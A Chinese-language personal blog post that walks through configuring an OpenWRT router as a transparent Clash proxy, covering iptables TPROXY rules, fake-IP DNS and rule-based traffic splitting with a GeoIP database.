我使用一台红米 AX6S 路由器刷 OpenWRT 后作为主路由,上游是客厅的接宽带的路由器。优点是隔离出了自己的专属内网,怎么折腾都不影响合租室友,即使以后搬家也不需要重新配置。代价仅仅是多了一次 NAT,性能损耗大可忽略不计。

基础配置:

  • 关闭 IPv6,因为不想多写一份配置
  • 关闭 SSH 密码登陆

安装所需依赖:

  • luci-i18n-base-zh-cn:中文语言包
  • 值守式系统更新,方便把需要的包封进新的系统固件
    • luci-app-attendedsysupgrade
    • luci-i18n-attendedsysupgrade-zh-cn
  • ipset:iptables 规则要用
  • 补充一些 iptables 扩展
    • iptables-mod-extra
    • iptables-mod-ipmark
    • iptables-mod-iprange
    • iptables-mod-socket
    • iptables-mod-tproxy
  • 补充 GNU Coreutils 里的工具
    • coreutils-nohup

流量重定向

流量重定向由 Linux TProxy 实现,技术细节可以看「深入理解 Linux TProxy」。

入站

Clash :

tproxy-port: 10000

开机自启用于创建 iptables 规则的脚本:

ipset create bypass_clash hash:net
ipset add bypass_clash 0.0.0.0/8
ipset add bypass_clash 10.0.0.0/8
ipset add bypass_clash 100.64.0.0/10
ipset add bypass_clash 127.0.0.0/8
ipset add bypass_clash 169.254.0.0/16
ipset add bypass_clash 172.16.0.0/12
ipset add bypass_clash 192.0.0.0/24
ipset add bypass_clash 192.0.2.0/24
ipset add bypass_clash 192.88.99.0/24
ipset add bypass_clash 192.168.0.0/16
#ipset add bypass_clash 198.18.0.0/15
ipset add bypass_clash 198.51.100.0/24
ipset add bypass_clash 203.0.113.0/24
ipset add bypass_clash 224.0.0.0/3

ip rule add fwmark 0x233 table 100
ip route add local default dev lo table 100

iptables -t mangle -N clash
# 忽略fake-ip之外的保留地址
iptables -t mangle -A clash -m set --match-set bypass_clash dst -j RETURN
iptables -t mangle -A clash -p udp -s 192.168.80.9 -j RETURN
iptables -t mangle -A clash -p tcp -s 192.168.80.9 -j RETURN
iptables -t mangle -A clash -p tcp -j TPROXY --on-ip 127.0.0.1 --on-port 10000 --tproxy-mark 0x233
iptables -t mangle -A clash -p udp -j TPROXY --on-ip 127.0.0.1 --on-port 10000 --tproxy-mark 0x233
iptables -t mangle -A PREROUTING -p tcp -j clash
iptables -t mangle -A PREROUTING -p udp -j clash

# 分流已连接的请求,优化tproxy性能
iptables -t mangle -N tproxy_divert
iptables -t mangle -A tproxy_divert -j MARK --set-mark 0x233
iptables -t mangle -A tproxy_divert -j ACCEPT
iptables -t mangle -I PREROUTING -p tcp -m socket -j tproxy_divert

# 避免直接发往透明代理端口导致死循环
iptables -A INPUT -p tcp --dport 10000 -m mark ! --mark 0x233 -j REJECT
iptables -A INPUT -p udp --dport 10000 -m mark ! --mark 0x233 -j REJECT

出站

早期也重定向了主路由本机的出站流量,目前不在用了,但为了内容完整性还是写一下。

将出站流量打上入站中同样的标记,使其路由进入本地回环:

iptables -t mangle -N clash_out
# 过滤发向保留地址的
iptables -t mangle -A clash_out -m set --match-set bypass_clash dst -j RETURN
# 给出站流量打标记,之后与入站重定向同理
iptables -t mangle -A clash_out -j MARK --set-mark 0x233

iptables -t mangle -A OUTPUT -j clash_out

接下来还需要避免 Clash 的出站流量被重定向入站,造成死循环。

一种方式是根据用户做区分,需要安装 shadow-useradd 和 iptables owner 扩展(包含在 iptables-mod-extra 包中),然后用单独的用户运行 Clash。假设是 clashuser

iptables -t mangle -I clash_out -m owner --uid-owner clashuser -j RETURN

后来发现 Clash 提供了配置项 routing-mark 标记出站流量,这更方便。假设 Clash 的标记是 666

iptables -t mangle -A OUTPUT -m mark ! --mark 666 -j clash_out

DNS

OpenWRT 配置:

  • 「DNS 转发」中设置 Clash 为 Dnsmasq 的上游
  • 选中「忽略解析文件」,否则会有原先上游的干扰

Clash 关闭 IPv6、设置端口、使用 fake-IP 模式:

dns:
  enable: true
  ipv6: false
  listen: 0.0.0.0:5353
  default-nameserver:
    - 8.8.8.8
    - 223.5.5.5
  enhanced-mode: fake-ip
  fake-ip-range: 198.18.0.1/16
  ...

fake-IP

fake-IP 模式下 Clash 为域名分配一个假 IP(DNS TTL 为 1 避免被客户端缓存)。优点是部分情况下可以节省发向上游 DNS 服务的查询,如果域名规则合理的话也可以避免 DNS 泄漏。

为了让 GEO DNS 分配合理的节点、避免客户端网络环境中的 DNS 污染,代理服务器往往会使用自己网络环境下的的解析结果。所以客户端代理工具会做优化,例如 Clash 在遇到基于 IP 的规则(不带 no-resolve 选项的 IP 、SCRIPT 等类型规则)之前不需要解析域名,命中代理规则的话就直接发给代理服务器。

在非 fake-IP 模式下,即使有上述优化,也必须解析域名来获得一个让客户端发起连接的 IP。

但在 fake-IP 模式下是立即返回一个假 IP,并记录域名和假 IP 的映射关系。客户端以此 IP 为目的地址发起请求,Clash 捕获到该 IP 的请求后根据对应关系获取原始域名,然后进行规则匹配。在没有遇到第一个基于 IP 的规则前,都不需要解析。

Clash 文档中以请求 google.com 为例:

$ curl -v http://google.com
<---- cURL asks your system DNS (Clash) about the IP address of google.com
----> Clash decided 198.18.1.70 should be used as google.com and remembers it
*   Trying 198.18.1.70:80...
<---- cURL connects to 198.18.1.70 tcp/80
----> Clash will accept the connection immediately, and..
* Connected to google.com (198.18.1.70) port 80 (#0)
----> Clash looks up in its memory and found 198.18.1.70 being google.com
----> Clash looks up in the rules and sends the packet via the matching outbound

推荐阅读浅谈在代理环境中的 DNS 解析行为

分流

所有流量都经过 Clash,分流规则决定了用网体验。我不喜欢那种堆了大几万条域名、IP 的规则集。规则匹配时的性能消耗还好说,主要是条目太多没法审计,稳定性完全依赖维护者,可能哪天规则自动更新就打乱了习惯。

我更推荐先用关键字、后缀等粗粒度规则筛出自己用网习惯下的高频域名,比如 foreign。让这些高频域名用上 fake-IP 的优势,剩下的用 GEOIP 兜底。

proxy-groups:
  - name: Proxy
    type: select
    proxies:
      - xxx
    use:
      - xxx

rules:
  - DOMAIN-SUFFIX,googleapis.cn,Proxy
  - DOMAIN-SUFFIX,googleapis.com,Proxy
  ....
  - GEOIP,CN,DIRECT
  - MATCH,Proxy

兜底规则非常依赖 GEOIP 库的准确度,但 Clash 内置 MaxMind GeoLite2 的大陆地区 IP 准确度存疑,所以我替换为综合了 ipip.net 和纯真数据的 Hackl0us/GeoIP2-CN。这个项目每三天更新一次数据,可以写个定时任务替换本地的 Country.mmdb 文件,但这个文件不会热重载,需要重启 Clash。

1% 的不适用场景

代理工具转发流量的基本相同:劫持客户端流量后,分别与两端建立连接,然后在中间做转发。这会破坏对网络要求苛刻的场景,例如端口扫描时 Nmap 发出的 TCP SYN 其实是被代理工具响应,不是实际目标,误导 Nmap 认为所有探测端口都开放。

并且代理工具一般工作在第四层,只处理 TCP/UDP。所以默认基于 ICMP 协议的 traceroute 和 ping 等工具也得换成支持 TCP/UDP 的版本。

目前看来更理想的方式是给数据套一层 L3 VPN 再走代理,只是不知道多一层 NAT 和 UDP-in-TCP 会造成多大的损耗。

❌
❌